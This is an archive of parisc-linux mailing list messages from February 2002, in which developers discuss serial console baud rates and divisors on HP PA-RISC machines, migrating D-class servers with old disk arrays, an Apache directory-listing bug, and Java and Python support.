Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE5BA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 07:41:40 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id PAA19644;
  Thu, 7 Feb 2002 15:45:38 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020207130852.C3306@electra.intern.planb.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13985

On Thursday 07 February 2002 13:08, Enrik Berkhan wrote:
> Hi,
>
> when using a 720 (running linux, of course ;-) as serial console
> for a 715(old) I've noticed that the terminal (720) produces garbage
> when the 715 comes to the firmware prompt (both running at 115200).
> This is not a flow control or something problem. Investigating on
> that I've found some oddities concerning setserial, baud_base and
> the divisor calculation in the serial driver ...

AFAIK the firmware output only happens at 9600 baud (8N1) and you can't 
change that. After the linux kernel has booted you can of course use
a higher rate.

Helge
-- 
Helge Deller
SAP AG - LinuxLab and Unix Platforms
email: helge.deller@sap.com




From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about RAID array
Date: Thu, 07 Feb 2002 09:22:40 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20020207162240.52CB6482A@dsl2.external.hp.com>
References: <Pine.LNX.4.30.0202071217510.26774-100000@sunshine.equant.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621047 2741 80.91.229.3 (22 Nov 2014 01:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Bj=F8rn_Djupvik?= <bjorn@sunshine.equant.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 09:22:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 52CB6482A; Thu,  7 Feb 2002 09:22:40 -0700 (MST)
In-Reply-To: Message from =?ISO-8859-1?Q?Bj=F8rn_Djupvik?= <bjorn@sunshine.equant.no> 
   of "Thu, 07 Feb 2002 12:20:38 +0100." <Pine.LNX.4.30.0202071217510.26774-100000@sunshine.equant.no> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13986

=?ISO-8859-1?Q?Bj=F8rn_Djupvik?= wrote:
> Hi, I am considering migrating a few boxes from hp-ux to parisc-linux as I
> have done this successfully on a 712/100 already.. The boxes in question
> are D-class servers (220,230,250,etc) and some of them have jurassic-era
> (ancient) C2300 disk arrays attached to them, which I know very little
> about.

1) D-class is quite a different beast than 712.
   Has anyone tried installing 0.9.3 on a D-class?
   Are all the interface cards you care about supported with linux drivers?

2) can someone confirm C2300 disk array  == "Cascade" from 1991-93?
   If so, it has utilities/daemon running that monitors the health of
   the array. I highly doubt that utility will ever get ported since it
   needs kernel driver support for a non-existant LUN 5 or 7 (I forgot).
   Consider replacing the array with SCSI JBOD. You'd get an order of
   magnitude increase in storage capacity and performance.

> Can anyone confirm that this is going to work under parisc-linux,
> I'd like to see a "success story" before I rip out hpux and install Linux
> =)

yeah - that's a good idea.

grant



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Thu, 7 Feb 2002 17:31:03 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020207173103.A4233@electra.intern.planb.de>
References: <20020207130852.C3306@electra.intern.planb.de> <E16Ypjz-0000uP-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621047 2742 80.91.229.3 (22 Nov 2014 01:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 09:31:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A7A6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 09:31:04 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16YrRv-00057b-00; Thu, 07 Feb 2002 17:31:03 +0100
Content-Disposition: inline
In-Reply-To: <E16Ypjz-0000uP-00@linuxlab.wdf.sap-ag.de>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13987

On Thu, Feb 07, 2002 at 03:41:34PM +0100, Helge Deller wrote:
> AFAIK the firmware output only happens at 9600 baud (8N1) and you can't 
> change that. After the linux kernel has booted you can of course use
> a higher rate.

The firmware allows higher baud rates, at least on the 710, 715 and 720.
I'm using it, so it does work ;-) Try "help rs232" when in boot admin
mode.


Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Thu, 07 Feb 2002 09:31:07 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20020207163107.5E08A482A@dsl2.external.hp.com>
References: <20020207130852.C3306@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621047 2746 80.91.229.3 (22 Nov 2014 01:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Enrik Berkhan <Enrik.Berkhan@planb.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 09:31:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5E08A482A; Thu,  7 Feb 2002 09:31:07 -0700 (MST)
In-Reply-To: Message from Enrik Berkhan <Enrik.Berkhan@planb.de> 
   of "Thu, 07 Feb 2002 13:08:52 +0100." <20020207130852.C3306@electra.intern.planb.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13988

Enrik Berkhan wrote:
> Investigating on
> that I've found some oddities concerning setserial, baud_base and
> the divisor calculation in the serial driver ...

good work.

...
>   Memory mapped parisc ports all have port == 0, so this has to fail.
>   Temporary workaround: `setserial /dev/ttyS1 port 0x10000 ...' once
>   will prevent the above loop from finding conflicts.
> 
> So, the following things have to be fixed:
> 
> - get/set_serial_info have to be enhanced for memory mapped ports
> - setserial should be enhanced accordingly

If other non-intel architectures don't have a solution for this.
My first thought was to assign fake port addresses.

Do PCI serial cards also use MMIO?

> - divisor calculation should be changed at least to round to nearest,
>   not round towards zero, or LASI ports might still suffer from the first
>   problem _if_ they really have baud_base 454545
> - baud_base should be initialized correctly for other gsc based ports.

We'd have to dig a bit for documentation on this.
Please poke me offline if that doesn't happen in the next week or so.

> If someone can confirm my analysis and tell me the direction of how to
> fix these things I would be willing to work on it (shouldn't be hard,
> maybe boring ;-).

cool - thanks,

grant



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Thu, 07 Feb 2002 09:36:10 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020207163610.63A134832@dsl2.external.hp.com>
References: <20020207130852.C3306@electra.intern.planb.de>  <E16Ypjz-0000uP-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621048 2748 80.91.229.3 (22 Nov 2014 01:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:48 +0000 (UTC)
Cc: Enrik Berkhan <Enrik.Berkhan@planb.de>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 09:36:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 63A134832; Thu,  7 Feb 2002 09:36:10 -0700 (MST)
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Thu, 07 Feb 2002 15:41:34 +0100." <E16Ypjz-0000uP-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13989

Helge Deller wrote:
> AFAIK the firmware output only happens at 9600 baud (8N1) and you can't 
> change that.

Actually, I think one can. But I doubt HP is going to fix any firmware
bugs related to console speeds other than 9600.

Running 19200 was crashing A500 console/GSP last year. I finally
convinced the firmware team it was the same problem that happened
at 9600 (less frequently of course).
I haven't verfied it was fixed in new PDC.

grant



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Telford <paul_telford@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] apache weirdness
Date: Thu, 7 Feb 2002 11:10:49 -0800
Organization: Hewlett Packard
Lines: 28
Approved: news@gmane.org
Message-ID: <200202071910.g17JAxv11007@ros-saab.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621048 2751 80.91.229.3 (22 Nov 2014 01:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 12:11:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABEA8482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 12:11:00 -0700 (MST)
Original-Received: from mailhub.rose.hp.com (mailhub.rose.hp.com [15.96.64.24])
	by palrel13.hp.com (Postfix) with ESMTP id 7F05C4001A2
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 11:10:53 -0800 (PST)
Original-Received: from ros-saab.rose.hp.com (ros-saab.rose.hp.com [15.43.213.64]) by mailhub.rose.hp.com with ESMTP (8.7.1/8.7.3 SMKit7.02) id LAA09837 for <parisc-linux@lists.parisc-linux.org>; Thu, 7 Feb 2002 11:10:50 -0800 (PST)
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by ros-saab.rose.hp.com (8.11.1/8.11.1) id g17JAxv11007
	for parisc-linux@lists.parisc-linux.org; Thu, 7 Feb 2002 11:10:59 -0800
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13990

Hi all,


 I'm running Apache 1.3.22 on an A180 box, kernel 2.4.16.  I have the 
"indexes" option turned on, and when I pull up a directory without an 
index.html a number of files are reported as zero length with a very long 
string of zeros.  Something like:

Canna-3.5b2-50.i386.rpm 07-Sep-2001 09:37 
0.000000000000000000000000000000000000000000M  

The files are not zero length if I use "ls".  I have tried tweaking various 
settings in httpd.conf to no avail.  Is this an Apache bug, parisc-linux bug, 
both, neither?  I have searched google and bugs.apache.org to no avail.  Any 
help appreciated....

Thanks,

 Paul.

P.S. Those of you internal to HP can see the problem here:
http://zaphod.rose.hp.com/LinuxCOE/RedHat/redhat-7.2-en/os/i386/RedHat/RPMS/







From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tilo Jandt" <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Java & Python
Date: Fri, 8 Feb 2002 00:12:45 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <002001c1b02c$f4461dd0$0801a8c0@epsilon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001D_01C1B035.5574D580"
X-Trace: ger.gmane.org 1416621048 2753 80.91.229.3 (22 Nov 2014 01:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 16:12:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12EFF482F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 16:12:39 -0700 (MST)
Original-Received: from [195.20.224.204] (helo=mrvdom00.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16YxiW-0004cc-00
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Feb 2002 00:12:36 +0100
Original-Received: from [80.136.166.52] (helo=epsilon)
	by mrvdom00.kundenserver.de with smtp (Exim 2.12 #2)
	id 16YxiV-0004I0-00
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Feb 2002 00:12:36 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13991

This is a multi-part message in MIME format.

------=_NextPart_000_001D_01C1B035.5574D580
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

is there anyone who has a working Java Runtime Environment?
Or is there a chance to get one at the moment?

And what about ZOPE?
And how could I use PyApache on my Hp 712/60?
If I wanna compile with apxs there are many failures did anyone =
suceeded?

cya,
Tilo

------=_NextPart_000_001D_01C1B035.5574D580
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is there anyone who has a working Java =
Runtime=20
Environment?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Or is there a chance to get one at the=20
moment?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>And what about ZOPE?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>And how could I use PyApache on my Hp=20
712/60?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>If I wanna compile with apxs there are =
many=20
failures did anyone suceeded?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cya,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Tilo</FONT></DIV></BODY></HTML>

------=_NextPart_000_001D_01C1B035.5574D580--





From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] apache weirdness
Date: Fri, 08 Feb 2002 00:42:13 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020208074213.7F177482A@dsl2.external.hp.com>
References: <200202071910.g17JAxv11007@ros-saab.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621049 2787 80.91.229.3 (22 Nov 2014 01:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Telford <paul_telford@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 00:42:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7F177482A; Fri,  8 Feb 2002 00:42:13 -0700 (MST)
In-Reply-To: Message from Paul Telford <paul_telford@hp.com> 
   of "Thu, 07 Feb 2002 11:10:49 PST." <200202071910.g17JAxv11007@ros-saab.rose.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13992

Paul Telford wrote:
>  I'm running Apache 1.3.22 on an A180 box, kernel 2.4.16.  I have the 
> "indexes" option turned on, and when I pull up a directory without an 
> index.html a number of files are reported as zero length with a very long 
> string of zeros.  Something like:
> 
> Canna-3.5b2-50.i386.rpm 07-Sep-2001 09:37 
> 0.000000000000000000000000000000000000000000M  

I've seen this before - perhaps when I first got
gsyprf10 or gsyperf11 up and running?
Anyone else remember more?

I think the workaround was to use a different method
of displaying the files. We weren't able to reproduce
the bug on a different machine.

grant



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about RAID array
Date: Fri, 8 Feb 2002 11:25:33 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020208092533.GA12114@marmite.its.uct.ac.za>
References: <Pine.LNX.4.30.0202071217510.26774-100000@sunshine.equant.no> <20020207162240.52CB6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621049 2790 80.91.229.3 (22 Nov 2014 01:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 02:26:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A23482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 02:26:00 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.33 #4)
	id 16Z7I8-0009Mg-00
	for parisc-linux@lists.parisc-linux.org; Fri, 08 Feb 2002 11:26:00 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id E4EB41A32A; Fri,  8 Feb 2002 11:25:33 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020207162240.52CB6482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13993

On Thu, Feb 07, 2002 at 09:22:40AM -0700, Grant Grundler wrote:
> =?ISO-8859-1?Q?Bj=F8rn_Djupvik?= wrote:
> > Hi, I am considering migrating a few boxes from hp-ux to
> > parisc-linux as I have done this successfully on a 712/100
> > already.. The boxes in question are D-class servers
> > (220,230,250,etc) and some of them have jurassic-era
> > (ancient) C2300 disk arrays attached to them, which I know
> > very little about.
> 
> 1) D-class is quite a different beast than 712.
>    Has anyone tried installing 0.9.3 on a D-class?
>    Are all the interface cards you care about supported with
>    linux drivers?

I've installed 0.9.3 successfully on a D270.  Just needed the
ncr53c8xx=burst:3 thing.

I can't comment on the disk array thing, though.

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
